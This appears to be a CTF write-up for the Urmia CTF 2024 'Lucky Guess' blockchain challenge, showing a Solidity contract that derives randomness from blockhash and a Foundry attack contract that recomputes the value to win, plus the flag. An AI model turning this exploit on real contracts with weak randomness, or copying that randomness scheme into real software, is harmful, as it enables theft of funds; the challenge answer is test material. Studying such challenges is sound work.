Hello Friend,

I recently participated in Urmia CTF 2024, which featured a single blockchain challenge.

I managed to solve it and thought you’d enjoy reading this writeup.

Our team, konohagakure (The Hidden Leaf), secured 38th place in the event.

Lucky Guess [First Blood 🩸]

Contract Details

RPC URL: https://rpc2.sepolia.org/

Blockchain: Sepolia testnet

Contract Address: 0xb62d3f4abF158d6042c58647294dDC037B3d8809

LuckyGuess.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

contract LuckyGuess {
    mapping(address => bool) public winCount;
    uint256 public MULTIPLIER = 117067084070050048050052066108111099107099104097105110;

    function guess(uint256 _prediction) public returns (bool) {
        uint256 blockHash = uint256(blockhash(block.number - 1));
        uint256 randomValue = blockHash / MULTIPLIER; // very random number

        if (randomValue == _prediction) {
            winCount[tx.origin] = true; // make it true to solve challenge
            return true;
        } else {
            return false;
        }
    }

    function isSolved(address user) public view returns (bool) {
        return winCount[user];
    }
}

Goal: Set the winCount of our address to true.

Attack:

  1. To solve this challenge we need to provide a correct prediction to guess function.
  2. The contract is generating random number using global variables like block.number & blockhash
  3. Since these values are publicly known, the randomness is weak.
  4. We can exploit this by creating a contract that replicates the same logic as LuckyGuess.

Attack.s.sol

// SPDX-License-Identifier: MIT

import {LuckyGuess} from "../src/LuckyGuess.sol";
import {Script, console} from "forge-std/Script.sol";

contract LuckyGuessSolve is Script {
    function run() external {
        vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
        new Pwn();
        vm.stopBroadcast();
    }
}

contract Pwn {
    LuckyGuess lucky = LuckyGuess(0xb62d3f4abF158d6042c58647294dDC037B3d8809);
    uint256 MULTIPLIER = 117067084070050048050052066108111099107099104097105110;

    constructor() {
        uint256 blockHash = uint256(blockhash(block.number - 1));
        uint256 randomValue = blockHash / MULTIPLIER;
        bool success = lucky.guess(randomValue);
        console.log(success);
        console.log("Solve Status", lucky.isSolved(msg.sender));
    }
}
forge script script/Attack.s.sol:LuckyGuessSolve --rpc-url $RPC_URL --broadcast

Flag: UCTF{N0tH1ng_i5_R4ndom_1n_BLockCh41n}


Thanks for reading!